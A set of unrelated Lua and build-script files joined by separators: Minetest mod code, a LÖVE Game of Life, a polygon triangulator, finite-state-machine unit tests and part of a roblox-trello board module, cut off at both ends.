offset = -0.0003,
scale = 0.0009,
spread = {x = 200, y = 200, z = 200},
seed = 230,
octaves = 3,
persist = 0.6
},
})
--Apple Tree
minetest.register_decoration(
{
deco_type = "schematic",
place_on = {"main:dirt_with_grass"},
rotation = "random",
sidelen = 16,
fill_ratio = 0.004,
biomes = {"Grasslands"},
flags = "place_center_x, place_center_z",
schematic = minetest.get_modpath("main")
.. "/schematics/main_tree_apple.mts",
y_min = -32000,
y_max = 32000,
})
|
workspace "flaaffy"
configurations { "Debug", "Release" }
targetdir "bin/%{cfg.buildcfg}"
startproject "mareep"
filter "configurations:Debug"
defines { "DEBUG" }
symbols "on"
filter "configurations:Release"
defines { "RELEASE" }
optimize "On"
project "mareep"
kind "ConsoleApp"
language "C#"
namespace "arookas"
location "mareep"
entrypoint "arookas.mareep"
targetname "mareep"
framework "4.6.1"
links {
"arookas",
"System",
"System.Xml",
"System.Xml.Linq",
}
files {
"mareep/**.cs",
}
excludes {
"mareep/bin/**",
"mareep/obj/**",
}
|
s(1.5)
w ""
c "$eU wot mate?"
w ""
w "You've already"
w "submitted an"
w "answer" |
-- game of life
-- jryzkns 2018
-- https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life
-- add in music generation based on amount of cells living
local unrequited = require("unrequited")
zoomfactor = 10
function love.load()
game = {}
game.xdim = 1000
game.ydim = 600
game.title = "life - jryzkns"
unrequited:windowsetup(game.xdim,game.ydim,game.title)
game.world = {}
for i=1,game.xdim/zoomfactor do
game.world[i] = {}
for j=1,game.ydim/zoomfactor do
game.world[i][j] = false
end
end
game.evolution_delay = 15
game.paused = true
-- the main piece!
function game:evolve()
-- print("evolve!")
-- print("current evolution delay:".. tostring(game.evolution_delay).. " frames" .. "current frame: ".. unrequited.photographs)
local new_world = {}
-- check everything in the world
for i=1,game.xdim/zoomfactor do
new_world[i] = {}
for j=1,game.ydim/zoomfactor do
local lifecount = 0
for hori = -1,1 do
for vert = -1,1 do
local checkx, checky = i + hori, j + vert
if checkx == 0 then checkx = game.xdim/zoomfactor end
if checkx == game.xdim/zoomfactor + 1 then checkx = 1 end
if checky == 0 then checky = game.ydim/zoomfactor end
if checky == game.ydim/zoomfactor + 1 then checky = 1 end
if game.world[checkx][checky] then
lifecount = lifecount + 1
end
end
end
if game.world[i][j] then lifecount = lifecount - 1 end -- to discount self
-- assume you die in the end
local new_life = false
-- if you are alive
if game.world[i][j] then
-- if you have optimal amount of neighbours
if lifecount == 2 or lifecount == 3 then
new_life = true
end
else -- if you are not alive
-- by reproduction you become alive
if lifecount == 3 then
new_life = true
end
end
new_world[i][j] = new_life
end
end
game.world = new_world
end
living_cells = 0
tone={}
tone.note = love.audio.newSource("a440.mp3", "static") -- treating the A as the base note in the scale tbh
tone.note:setLooping(true)
tone.keypoints = {0,2,4,6,7,9,11} -- g major
tone.scalepos = 1 --we start with the base note
tone.memory = 0
function tone:transition()
if tone.memory ~= living_cells then
tone.scalepos = ( living_cells )%7 + 1
end
tone.note:setPitch(2^(tone.keypoints[tone.scalepos]/12))
tone.memory = living_cells
end
tone.note:play()
end
function love.update(dt)
if not game.paused then
unrequited:update()
if(unrequited.photographs % game.evolution_delay == 0) then
game:evolve()
tone:transition()
end
living_cells = 0
for i=1,game.xdim/zoomfactor do
for j=1,game.ydim/zoomfactor do
if game.world[i][j] then living_cells = living_cells + 1 end
end
end
end
end
function love.keypressed(key)
if key == "p" then unrequited:remember_me()
elseif key == "space" then game.paused = not game.paused
elseif key == "s" then game:evolve()
end
end
function love.keyreleased(key)
if key == "escape" then unrequited:heartbreak() end
end
function love.mousepressed(x,y,button,istouch)
if button == 1 then
game.world[math.floor(x/zoomfactor)+1][math.floor(y/zoomfactor)+1] = not game.world[math.floor(x/zoomfactor)+1][math.floor(y/zoomfactor)+1]
end
end
function love.wheelmoved(x,y)
-- janky but it works
if game.evolution_delay >= 1 then
game.evolution_delay = game.evolution_delay + y
else
game.evolution_delay = 1
end
end
function love.draw()
if game.paused then
love.graphics.printf("paused",0,0,200)
end
for k=1,game.xdim/zoomfactor do
for l=1,game.ydim/zoomfactor do
love.graphics.push()
love.graphics.translate((k-1)*zoomfactor,(l-1)*zoomfactor)
if game.world[k][l] then
love.graphics.setColor(1,1,1)
love.graphics.rectangle("fill",0,0,zoomfactor,zoomfactor)
else
love.graphics.setColor(0.5,0.5,0.5,0.2)
love.graphics.rectangle("line",0,0,zoomfactor,zoomfactor)
end
love.graphics.pop()
end
end
end
|
-- more concentrated
minetest.register_node("bitumen:vapor_2", {
description = "Vapor",
drawtype = "airlike",
pointable = false,
diggable = false,
walkable = false,
buildable_to = true,
paramtype = "light",
sunlight_propagates = true,
-- post_effect_color = info.post_effect_color,
-- tiles = { "default_copper_block.png" },
groups = { not_in_creative_inventory = 1, bitumen_vapor = 1 },
})
-- less concentrated
minetest.register_node("bitumen:vapor_1", {
description = "Vapor",
drawtype = "airlike",
pointable = false,
diggable = false,
walkable = false,
buildable_to = true,
paramtype = "light",
sunlight_propagates = true,
-- tiles = { "default_steel_block.png" },
groups = { not_in_creative_inventory = 1, bitumen_vapor = 1 },
})
--[[ for testing
minetest.register_node("bitumen:vapor_gen", {
description = "Vapor Generator",
tiles = { "default_steel_block.png" },
groups = { cracky = 1 },
})
minetest.register_abm({
nodenames = {"bitumen:vapor_gen"},
neighbors = {"air"},
interval = 3,
chance = 1,
action = function(pos, node, active_object_count, active_object_count_wider)
pos.y = pos.y + 1
minetest.set_node(pos, {name="bitumen:vapor_2"})
end
})
]]
-- move around randomly
minetest.register_abm({
nodenames = {"bitumen:vapor_2", "bitumen:vapor_1"},
neighbors = {"air"},
interval = 4,
chance = 8,
action = function(pos, node, active_object_count, active_object_count_wider)
local name = node.name
local air_nodes = minetest.find_nodes_in_area(
{x=pos.x - 1, y=pos.y - 1, z=pos.z - 1},
{x=pos.x + 1, y=pos.y, z=pos.z + 1},
"air"
)
-- try to go down first
if #air_nodes > 0 and math.random(6) > 1 then
local off = math.random(#air_nodes)
--print("off "..dump(off).. " - " .. dump(#air_nodes))
minetest.set_node(pos, {name="air"})
minetest.set_node(air_nodes[off], {name=name})
return
end
-- go up if there's no down
air_nodes = minetest.find_nodes_in_area(
{x=pos.x - 1, y=pos.y + 1, z=pos.z - 1},
{x=pos.x + 1, y=pos.y + 1, z=pos.z + 1},
"air"
)
if #air_nodes > 0 then
local off = math.random(#air_nodes)
minetest.set_node(pos, {name="air"})
minetest.set_node(air_nodes[off], {name=name})
end
end
})
-- diffuse away completely
minetest.register_abm({
nodenames = {"bitumen:vapor_1"},
neighbors = {"air"},
interval = 8,
chance = 16,
action = function(pos, node)
local air_nodes = minetest.find_nodes_in_area(
{x=pos.x - 1, y=pos.y - 1, z=pos.z - 1},
{x=pos.x + 1, y=pos.y + 1, z=pos.z + 1},
"air"
)
if #air_nodes > 12 then
minetest.set_node(pos, {name="air"})
end
end
})
-- diffuse
minetest.register_abm({
nodenames = {"bitumen:vapor_2"},
neighbors = {"air"},
interval = 4,
chance = 4,
action = function(pos, node, active_object_count, active_object_count_wider)
local air_nodes = minetest.find_nodes_in_area(
{x=pos.x - 1, y=pos.y - 1, z=pos.z - 1},
{x=pos.x + 1, y=pos.y + 1, z=pos.z + 1},
"air"
)
if #air_nodes > 0 then
local off = math.random(#air_nodes)
--print("off "..dump(off).. " - " .. dump(#air_nodes))
minetest.set_node(pos, {name="bitumen:vapor_1"})
minetest.set_node(air_nodes[off], {name="bitumen:vapor_1"})
end
end
})
-- go up in flames
minetest.register_abm({
nodenames = {"bitumen:vapor_1", "bitumen:vapor_2"},
neighbors = {"group:igniter", "default:torch", "default:furnace_active"},
interval = 1,
chance = 3,
action = function(pos, node, active_object_count, active_object_count_wider)
local air_nodes = minetest.find_nodes_in_area(
{x=pos.x - 1, y=pos.y - 1, z=pos.z - 1},
{x=pos.x + 1, y=pos.y + 1, z=pos.z + 1},
{"air", "group:flammable"}
)
if #air_nodes > 0 then
local off = math.random(#air_nodes)
local num = math.random(#air_nodes / 2)
for i = 1,num do
--local theirlevel = minetest.get_node_level(fp)
local fp = air_nodes[((i + off) % #air_nodes) + 1]
minetest.set_node(fp, {name="fire:basic_flame"})
end
end
minetest.set_node(pos, {name="fire:basic_flame"})
end
})
|
function love.math.setRandomSeed(seed)
return math.randomseed(seed)
end
function love.math.random(a,b)
return math.random(a,b)
end
function love.math.triangulate(polygon)
-- Reference here: https://2dengine.com/?p=polygons#Triangulation
local function signedPolygonArea(p)
local s = 0
local n = #p
local a = p[n]
for i = 1, n do
local b = p[i]
s = s + (b.x + a.x)*(b.y - a.y)
a = b
end
return s
end
local function isPolygonCounterClockwise(p)
return signedPolygonArea(p) > 0
end
local function polygonReverse(p)
local n = #p
for i = 1, math.floor(n/2) do
local i2 = n - i + 1
p[i], p[i2] = p[i2], p[i]
end
end
local function pointInTriangle(p, p1, p2, p3)
local ox, oy = p.x, p.y
local px1, py1 = p1.x - ox, p1.y - oy
local px2, py2 = p2.x - ox, p2.y - oy
local ab = px1*py2 - py1*px2
local px3, py3 = p3.x - ox, p3.y - oy
local bc = px2*py3 - py2*px3
local sab = ab < 0
if sab ~= (bc < 0) then
return false
end
local ca = px3*py1 - py3*px1
return sab == (ca < 0)
end
local function signedTriangleArea(p1, p2, p3)
return (p1.x - p3.x)*(p2.y - p3.y) - (p1.y - p3.y)*(p2.x - p3.x)
end
if not isPolygonCounterClockwise(polygon) then
polygonReverse(polygon)
end
local left, right = {}, {}
for i = 1, #polygon do
local v = polygon[i]
left[v], right[v] = polygon[i - 1], polygon[i + 1]
end
local first, last = polygon[1], polygon[#polygon]
left[first], right[last] = last, first
local triangles = {}
local nskip = 0
local i1 = first
while #polygon >= 3 and nskip <= #polygon do
local i0, i2 = left[i1], right[i1]
local function isEar(i0, i1, i2)
if signedTriangleArea(i0, i1, i2) >= 0 then
local j1 = right[i2]
repeat
local j0, j2 = left[j1], right[j1]
if signedTriangleArea(j0, j1, j2) <= 0 then
if pointInTriangle(j1, i0, i1, i2) then
return false
end
end
j1 = j2
until j1 == i0
return true
end
return false
end
if #polygon > 3 and isEar(i0, i1, i2) then
table.insert(triangles, { i0, i1, i2 })
left[i2], right[i0] = i0, i2
left[i1], right[i1] = nil, nil
nskip = 0
i1 = i0
else
nskip = nskip + 1
i1 = i2
end
end
return triangles
end |
local fsm = require "fsm"
describe("fsm", function ()
local m
describe("events & states", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("transitions from green to yellow", function ()
m.warn()
assert.are_equal("yellow", m.current)
end)
it("transitions from yellow to red", function ()
m.warn()
m.panic()
assert.are_equal("red", m.current)
end)
it("transitions from red to yellow", function ()
m.warn()
m.panic()
m.calm()
assert.are_equal("yellow", m.current)
end)
it("transitions from yellow to green", function ()
m.warn()
m.panic()
m.calm()
m.clear()
assert.are_equal("green", m.current)
end)
end)
describe("#is", function()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("does report current state as green", function ()
assert.is_true(m.is("green"))
end)
it("does NOT report current state as yellow", function ()
assert.is_not_true(m.is("yellow"))
end)
it("does report current state as green or red", function ()
assert.is_true(m.is({"green", "red"}))
end)
it("does NOT report current state as yellow or red", function ()
assert.is_not_true(m.is({"yellow", "red"}))
end)
describe("when warned", function ()
before_each(function ()
m.warn()
end)
it("is yellow", function ()
assert.are_equal("yellow", m.current)
end)
it("does NOT report current state as green", function ()
assert.is_not_true(m.is("green"))
end)
it("does report current state as yellow", function ()
assert.is_true(m.is("yellow"))
end)
it("does NOT report current state as green or red", function ()
assert.is_not_true(m.is({"green", "red"}))
end)
it("does report current state as yellow or red", function ()
assert.is_true(m.is({"yellow", "red"}))
end)
end)
end)
describe("#can(not)", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"}
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("is able to warn from green state", function ()
assert.is_true(m.can("warn"))
end)
it("is NOT able to panic from green state", function ()
assert.is_true(m.cannot("panic"))
end)
it("is NOT able to calm from green state", function ()
assert.is_true(m.cannot("calm"))
end)
describe("when warned", function ()
before_each(function ()
m.warn()
end)
it("is yellow", function ()
assert.are_equal("yellow", m.current)
end)
it("is NOT able to warn from yellow state", function ()
assert.is_true(m.cannot("warn"))
end)
it("is able to panic from yellow state", function ()
assert.is_true(m.can("panic"))
end)
it("is NOT able to calm from yellow state", function ()
assert.is_true(m.cannot("calm"))
end)
end)
describe("when panicked", function ()
before_each(function ()
m.warn()
m.panic()
end)
it("is red", function ()
assert.are_equal("red", m.current)
end)
it("is NOT able to warn from red state", function ()
assert.is_true(m.cannot("warn"))
end)
it("is NOT able to panic from red state", function ()
assert.is_true(m.cannot("panic"))
end)
it("is able to calm from red state", function ()
assert.is_true(m.can("calm"))
end)
end)
end)
describe("#transitions", function()
describe("with single states", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("reports current transition to be yellow", function ()
assert.is_same({"warn"}, m.transitions())
end)
it("reports current transitions to be panic and clear", function ()
m.warn()
assert.is_same({"panic", "clear"}, m.transitions())
end)
it("reports current transitions to be calm", function ()
m.warn()
m.panic()
assert.is_same({"calm"}, m.transitions())
end)
it("reports current transitions to be panic and clear", function ()
m.warn()
m.panic()
m.calm()
assert.is_same({"panic", "clear"}, m.transitions())
end)
it("reports current transitions to be panic and clear", function ()
m.warn()
m.panic()
m.calm()
m.clear()
assert.is_same({"warn"}, m.transitions())
end)
end)
describe("with multiple states", function ()
before_each(function ()
m = fsm.create({
events = {
{name = "start", from = "none", to = "green" },
{name = "warn", from = {"green", "red"}, to = "yellow"},
{name = "panic", from = {"green", "yellow"}, to = "red" },
{name = "clear", from = {"red", "yellow"}, to = "green" }
}
})
end)
it("starts empty", function ()
assert.are_equal("none", m.current)
end)
it("reports current transition to be start", function ()
assert.is_same({"start"}, m.transitions())
end)
it("reports current transitions to be warn and panic", function ()
m.start()
assert.is_same({"warn", "panic"}, m.transitions())
end)
it("reports current transitions to be panic and clear", function ()
m.start()
m.warn()
assert.is_same({"panic", "clear"}, m.transitions())
end)
it("reports current transitions to be warn and clear", function ()
m.start()
m.warn()
m.panic()
assert.is_same({"warn", "clear"}, m.transitions())
end)
it("reports current transitions to be warn and panic", function ()
m.start()
m.warn()
m.panic()
m.clear()
assert.is_same({"warn", "panic"}, m.transitions())
end)
end)
end)
describe("#is_pending", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" }
},
callbacks = {
on_leave_green = function () return fsm.DEFERRED end
}
})
end)
it("is NOT pending when green", function ()
assert.is_not_true(m.is_pending())
end)
it("is pending when leaving green", function ()
m.warn()
assert.is_true(m.is_pending())
end)
end)
describe("#is_finished", function ()
describe("with terminal state", function ()
before_each(function ()
m = fsm.create({
initial = "green",
terminal = "red",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" }
}
})
end)
it("is NOT finished when green", function ()
assert.is_not_true(m.is_finished())
end)
it("is NOT finished when yellow", function ()
m.warn()
assert.is_not_true(m.is_finished())
end)
it("is finished when yellow", function ()
m.warn()
m.panic()
assert.is_true(m.is_finished())
end)
end)
describe("without terminal state", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" }
}
})
end)
it("is NOT finished when green", function ()
assert.is_not_true(m.is_finished())
end)
it("is NOT finished when yellow", function ()
m.warn()
assert.is_not_true(m.is_finished())
end)
it("is NOT finished when yellow", function ()
m.warn()
m.panic()
assert.is_not_true(m.is_finished())
end)
end)
end)
describe("event return values", function ()
before_each(function ()
m = fsm.create({
initial = "stopped",
events = {
{name = "prepare", from = "stopped", to = "ready" },
{name = "fake", from = "ready", to = "running"},
{name = "start", from = "ready", to = "running"},
{name = "start", from = "running" }
},
callbacks = {
on_before_fake = function () return false end,
on_leave_ready = function () return fsm.DEFERRED end
}
})
end)
it("starts with stopped", function ()
assert.are_equal("stopped", m.current)
end)
it("reports event to have succeeded", function ()
assert.are_equal(fsm.SUCCEEDED, m.prepare())
assert.are_equal("ready", m.current)
end)
it("reports event to have been cancelled", function ()
m.prepare()
assert.are_equal(fsm.CANCELLED, m.fake())
assert.are_equal("ready", m.current)
end)
it("reports event to be pending", function ()
m.prepare()
assert.are_equal(fsm.PENDING, m.start())
assert.are_equal("ready", m.current)
end)
it("reports deferred transition to have succeeded", function ()
m.prepare()
m.start()
assert.are_equal(fsm.SUCCEEDED, m.confirm())
assert.are_equal("running", m.current)
end)
it("reports deferred transition to have been cancelled", function ()
m.prepare()
m.start()
assert.are_equal(fsm.CANCELLED, m.cancel())
assert.are_equal("ready", m.current)
end)
it("reports event to cause no transition", function ()
m.prepare()
m.start()
m.confirm()
assert.are_equal(fsm.NO_TRANSITION, m.start())
assert.are_equal("running", m.current)
end)
end)
describe("invalid events", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"}
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("throws if we try to panic from green", function ()
assert.has_errors(function () m.panic() end,
"invalid transition from state 'green' with event 'panic'")
end)
it("throws if we try to calm from green", function ()
assert.has_errors(function () m.calm() end,
"invalid transition from state 'green' with event 'calm'")
end)
it("throws if we try to warn from yellow", function ()
m.warn()
assert.has_errors(function () m.warn() end,
"invalid transition from state 'yellow' with event 'warn'")
end)
it("throws if we try to calm from yellow", function ()
m.warn()
assert.has_errors(function () m.calm() end,
"invalid transition from state 'yellow' with event 'calm'")
end)
it("throws if we try to warn from red", function ()
m.warn()
m.panic()
assert.has_errors(function () m.warn() end,
"invalid transition from state 'red' with event 'warn'")
end)
it("throws if we try to panic from red", function ()
m.warn()
m.panic()
assert.has_errors(function () m.panic() end,
"invalid transition from state 'red' with event 'panic'")
end)
end)
describe("invalid transitions", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
},
callbacks = {
on_leave_green = function() return fsm.DEFERRED end,
on_leave_yellow = function() return fsm.DEFERRED end,
on_leave_red = function() return fsm.DEFERRED end
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("throws if we try to panic from yellow without confirming the previous transition", function ()
m.warn()
assert.has_errors(function () m.panic() end,
"previous transition still pending")
end)
it("throws if we try to calm from red without confirming the previous transition", function ()
m.warn()
m.confirm()
m.panic()
assert.has_errors(function () m.calm() end,
"previous transition still pending")
end)
it("throws if we try to clear from yellow without confirming the previous transition", function ()
m.warn()
m.confirm()
m.panic()
m.confirm()
m.calm()
assert.has_errors(function () m.clear() end,
"previous transition still pending")
end)
end)
describe("noop transitions (empty 'to')", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "noop", from = "green" },
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("is able to noop from green state", function ()
assert.is_true(m.can("noop"))
end)
it("is able to warn from green state", function ()
assert.is_true(m.can("warn"))
end)
it("does NOT cause a transition when noop", function ()
m.noop()
assert.are_equal("green", m.current)
end)
it("does cause a transition when warn", function ()
m.noop()
m.warn()
assert.are_equal("yellow", m.current)
end)
it("is NOT able to noop from yellow state", function ()
m.noop()
m.warn()
assert.is_true(m.cannot("noop"))
end)
it("is NOT able to warn from yellow state", function ()
m.noop()
m.warn()
assert.is_true(m.cannot("warn"))
end)
end)
describe("implicit wildcard transitions (empty 'from')", function ()
before_each(function ()
m = fsm.create({
initial = "stopped",
events = {
{name = "prepare", from = "stopped", to = "ready" },
{name = "start", from = "ready", to = "running"},
{name = "resume", from = "paused", to = "running"},
{name = "pause", from = "running", to = "paused" },
{name = "stop", to = "stopped"}
}
})
end)
it("starts with stopped", function ()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from ready", function ()
m.prepare()
m.stop()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from running", function ()
m.prepare()
m.start()
m.stop()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from paused", function ()
m.prepare()
m.start()
m.pause()
m.stop()
assert.are_equal("stopped", m.current)
end)
end)
describe("explicit wildcard transitions ('from' set to '*')", function ()
before_each(function ()
m = fsm.create({
initial = "stopped",
events = {
{name = "prepare", from = "stopped", to = "ready" },
{name = "start", from = "ready", to = "running"},
{name = "resume", from = "paused", to = "running"},
{name = "pause", from = "running", to = "paused" },
{name = "stop", from = "*", to = "stopped"}
}
})
end)
it("starts with stopped", function ()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from ready", function ()
m.prepare()
m.stop()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from running", function ()
m.prepare()
m.start()
m.stop()
assert.are_equal("stopped", m.current)
end)
it("is able to stop from paused", function ()
m.prepare()
m.start()
m.pause()
m.stop()
assert.are_equal("stopped", m.current)
end)
end)
describe("deferrable startup", function ()
before_each(function ()
m = fsm.create({
initial = {state = "green", event = "init", defer = true},
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"}
}
})
end)
it("starts with none", function ()
assert.are_equal("none", m.current)
end)
it("is able to init from none to green", function ()
m.init()
assert.are_equal("green", m.current)
end)
it("is able to warn from green", function ()
m.init()
m.warn()
assert.are_equal("yellow", m.current)
end)
end)
describe("cancellable event", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "green", to = "red" }
},
callbacks = {
on_before_warn = function () return false end,
on_leave_green = function () return false end
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("stays green when warn event is cancelled", function ()
m.warn()
assert.are_equal("green", m.current)
end)
it("stays green when panic event is cancelled", function ()
m.panic()
assert.are_equal("green", m.current)
end)
end)
describe("callbacks", function ()
local called
local function track(name, args)
if args then
name = name .. "(" .. table.concat(args, ",") .. ")"
end
table.insert(called, name)
end
before_each(function ()
called = {}
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"},
{name = "clear", from = "yellow", to = "green" }
},
callbacks = {
-- generic callbacks
on_before_event = function (_, ...) track("on_before", {...}) end,
on_after_event = function (_, ...) track("on_after", {...}) end,
on_enter_state = function (_, ...) track("on_enter", {...}) end,
on_leave_state = function (_, ...) track("on_leave", {...}) end,
-- specific state callbacks
on_enter_green = function () track("on_enter_green") end,
on_enter_yellow = function () track("on_enter_yellow") end,
on_enter_red = function () track("on_enter_red") end,
on_leave_green = function () track("on_leave_green") end,
on_leave_yellow = function () track("on_leave_yellow") end,
on_leave_red = function () track("on_leave_red") end,
-- specific event callbacks
on_before_warn = function () track("on_before_warn") end,
on_before_panic = function () track("on_before_panic") end,
on_before_calm = function () track("on_before_calm") end,
on_before_clear = function () track("on_before_clear") end,
on_after_warn = function () track("on_after_warn") end,
on_after_panic = function () track("on_after_panic") end,
on_after_calm = function () track("on_after_calm") end,
on_after_clear = function () track("on_after_clear") end
}
})
end)
it("invokes all callbacks when warn", function ()
m.warn()
assert.are_same({
"on_before(startup,none,green)",
"on_leave(startup,none,green)",
"on_enter_green",
"on_enter(startup,none,green)",
"on_after(startup,none,green)",
"on_before_warn",
"on_before(warn,green,yellow)",
"on_leave_green",
"on_leave(warn,green,yellow)",
"on_enter_yellow",
"on_enter(warn,green,yellow)",
"on_after_warn",
"on_after(warn,green,yellow)"
}, called)
end)
it("invokes all callbacks with additional arguments when panic", function ()
m.warn()
m.panic("foo", "bar")
assert.are_same({
"on_before(startup,none,green)",
"on_leave(startup,none,green)",
"on_enter_green",
"on_enter(startup,none,green)",
"on_after(startup,none,green)",
"on_before_warn",
"on_before(warn,green,yellow)",
"on_leave_green",
"on_leave(warn,green,yellow)",
"on_enter_yellow",
"on_enter(warn,green,yellow)",
"on_after_warn",
"on_after(warn,green,yellow)",
"on_before_panic",
"on_before(panic,yellow,red,foo,bar)",
"on_leave_yellow",
"on_leave(panic,yellow,red,foo,bar)",
"on_enter_red",
"on_enter(panic,yellow,red,foo,bar)",
"on_after_panic",
"on_after(panic,yellow,red,foo,bar)"
}, called)
end)
end)
describe("callbacks throwing errors", function ()
before_each(function ()
m = fsm.create({
initial = "green",
events = {
{name = "warn", from = "green", to = "yellow"},
{name = "panic", from = "yellow", to = "red" },
{name = "calm", from = "red", to = "yellow"}
},
callbacks = {
on_enter_yellow = function () error("oops") end
}
})
end)
it("starts with green", function ()
assert.are_equal("green", m.current)
end)
it("does not swallow generated error", function ()
assert.has_errors(function () m.warn() end, "oops")
end)
end)
end)
|
--[[
Name: Board.lua
From roblox-trello v2
Description: Constructor for Trello Boards.
Copyright (c) 2019 Luis, David Duque
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
--]]
local HTTP = require(script.Parent.Parent.TrelloHttp)
-- TrelloBoard Metatable
local TrelloBoardMeta = {
__tostring = "TrelloBoard",
__metatable = "TrelloBoard",
-- Hopefully this will not throw false positives. Functions that will eventually work with this should be aware.
__index = function(_, index)
error("[TrelloBoard]: Attempted to index non-existant property "..tostring(index)..".", 0)
end,
-- This can be bypassed using rawset, but at that point it's not on us
__newindex = function(_, index, _)
error("[TrelloBoard]: Attempted to set non-existant property "..tostring(index)..".", 0)
end
}
-- Local function prototype to make a board based on a body dump
local makeBoard
local TrelloBoard = {}
--[[**
Creates a new board, that is then also created on Trello.
@param [t:String] name The Board's name. Must to be a non-empty string with a maximum of 16384 characters.
@param [t:Boolean] public Whether the board is public or not. If this field is not provided, the board will be private.
@param [t:TrelloClient] client The client the board will be assigned to.
@returns [t:TrelloBoard] A new TrelloBoard that was freshly created.
**--]]
function TrelloBoard.new(name, public, client)
if not client or getmetatable(client) ~= "TrelloClient" then
error("[TrelloBoard.new]: Invalid client!", 0)
elseif not name or name == "" or name:len() > 16384 then
error("[TrelloBoard.new]: Invalid name! Make sure that the name is a non-empty string with less than 16384 characters.", 0)
end
local commitURL = client:MakeURL("/boards", {
name = name,
defaultLabels = false,
defaultLists = false,
prefs_selfJoin = false,
prefs_cardCovers = false,
prefs_permissionLevel = public and "public" or "private"
})
local result = HTTP.RequestInsist(commitURL, HTTP.HttpMethod.POST, "{}", true)
return makeBoard(client, result.Body)
end
--[[**
Fetches a TrelloBoard from Trello.
@param [t:String] name The Board's ID.
@param [t:TrelloClient] client The client the board will be assigned to.
@returns [t:Variant<TrelloBoard,nil>] The Trello Board fetched. Returns nil if the board doesn't exist.
**--]]
function TrelloBoard.fromRemote(remoteId, client)
if not client or getmetatable(client) ~= "TrelloClient" then
error("[TrelloBoard.fromRemote]: Invalid client!", 0)
elseif not remoteId or remoteId == "" then
error("[TrelloBoard.fromRemote]: Invalid board id!", 0)
end
local commitURL = client:MakeURL("/boards/" .. remoteId, {
customFields = false,
card_pluginData = false,
fields = {"name","desc","descData","closed","prefs"},
})
local result = HTTP.RequestInsist(commitURL, HTTP.HttpMethod.GET, nil, true)
return makeBoard(client, result.Body)
end
--[[**
Fetches all the boards the provided client has edit access to.
@param [t:TrelloClient] client The client where to fetch the boards from.
@returns [t:Array<TrelloBoard>] An array containing zero or more trello boards.
**--]]
function TrelloBoard.fetchAllFrom(client)
if not client or getmetatable(client) ~= "TrelloClient" then
error("[TrelloBoard.fromRemote]: Invalid client!", 0)
end
local commitURL = client:MakeURL("/members/me/boards", {
filter = "open",
fields = {"name","desc","descData","closed","prefs"},
lists = "all",
memberships = "none",
organization = false,
organization_fields = ""
})
print(commitURL)
local result = HTTP.RequestInsist(commitURL, HTTP.HttpMethod.GET, nil, true)
local body = result.Body
local boards = {}
for _, b in pairs(body) do
table.insert(boards, makeBoard(client, b))
end
return boards
end
-- Prototype implementation
makeBoard = function(client, data)
if not data then
return nil
end
local trelloBoard = {
RemoteId = data.id,
Name = data.name,
Description = data.desc,
Public = data.prefs.permissionLevel == "public",
Closed = data.closed,
_Remote = {
Name = data.name,
Description = data.desc,
Public = data.prefs.permissionLevel == "public",
Closed = data.closed
}
}
--[[**
Pushes all metadata changes to Trello. (Doesn't apply to lists, cards, etc.)
@param [t:Boolean] force Whether to push all changes to the board even though nothing has been changed.
@returns [t:Void]
**--]]
function trelloBoard:Commit(force)
local count = 0
local commit = {}
